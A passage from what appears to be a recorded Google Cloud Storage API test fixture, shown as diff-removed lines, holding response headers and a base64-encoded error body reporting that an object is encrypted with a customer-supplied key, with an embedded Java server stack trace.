v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12563" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:37 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoYPZ-j39Sr1Whn6F3PYeVaxqIIjS_fBgSNkBO7f7B8RMWih6iCCLf1cPDXB3Br-0XBkdm6i9N9fGeK84_laVYWuJc0uJwSCXydk0bSWezw0qec5yE" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlc291cmNlSXNFbmNyeXB0ZWRXaXRoQ3VzdG9tZXJFbmNyeXB0aW9uS2V5IiwibWVzc2FnZSI6IlRoZSB0YXJnZXQgb2JqZWN0IGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LiIsImV4dGVuZGVkSGVscCI6Imh0dHBzOi8vY2xvdWQuZ29vZ2xlLmNvbS9zdG9yYWdlL2RvY3MvZW5jcnlwdGlvbiNjdXN0b21lci1zdXBwbGllZF9lbmNyeXB0aW9uX2tleXMiLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UkVTT1VSQ0VfSVNfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5yZXdyaXRlKFJld3JpdGVPYmplY3QuamF2YToyMDApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXdyaXRlT2JqZWN0LmphdmE6MTkzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmV3cml0ZU9iamVjdC5qYXZhOjQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLnJld3JpdGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjEyMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE4IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUlOVkFMSURfVkFMVUUsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UkVTT1VSQ0VfSVNfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5yZXdyaXRlKFJld3JpdGVPYmplY3QuamF2YToyMDApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXdyaXRlT2JqZWN0LmphdmE6MTkzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmV3cml0ZU9iamVjdC5qYXZhOjQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLnJld3JpdGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjEyMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE4IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPWh0dHBzOi8vY2xvdWQuZ29vZ2xlLmNvbS9zdG9yYWdlL2RvY3MvZW5jcnlwdGlvbiNjdXN0b21lci1zdXBwbGllZF9lbmNyeXB0aW9uX2tleXMsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWJhZFJlcXVlc3QsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Y2xvdWQuYmlnc3RvcmUuYXBpLkJpZ3N0b3JlRXJyb3JEb21haW4uUkVTT1VSQ0VfSVNfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVksIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpSRVNPVVJDRV9JU19FTkNSWVBURURfV0lUSF9DVVNUT01FUl9FTkNSWVBUSU9OX0tFWVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LnJld3JpdGUoUmV3cml0ZU9iamVjdC5qYXZhOjIwMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJld3JpdGVPYmplY3QuamF2YToxOTMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXdyaXRlT2JqZWN0LmphdmE6NDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IucmV3cml0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTIxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTggbW9yZVxuLCBlcnJvclByb3RvQ29kZT1SRVNPVVJDRV9JU19FTkNSWVBURURfV0lUSF9DVVNUT01FUl9FTkNSWVBUSU9OX0tFWSwgZXJyb3JQcm90b0RvbWFpbj1jbG91ZC5iaWdzdG9yZS5hcGkuQmlnc3RvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9VGhlIHJlcXVlc3RlZCBvYmplY3QgaXMgZW5jcnlwdGVkIGJ5IGEgY3VzdG9tZXItc3VwcGxpZWQgZW5jcnlwdGlvbiBrZXkuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1UaGUgdGFyZ2V0IG9iamVjdCBpcyBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS4sIHJlYXNvbj1yZXNvdXJjZUlzRW5jcnlwdGVkV2l0aEN1c3RvbWVyRW5jcnlwdGlvbktleSwgcnBjQ29kZT00MDB9IFRoZSB0YXJnZXQgb2JqZWN0IGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlJFU09VUkNFX0lTX0VOQ1JZUFRFRF9XSVRIX0NVU1RPTUVSX0VOQ1JZUFRJT05fS0VZXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QucmV3cml0ZShSZXdyaXRlT2JqZWN0LmphdmE6MjAwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmV3cml0ZU9iamVjdC5qYXZhOjE5Mylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJld3JpdGVPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5yZXdyaXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxOCBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXB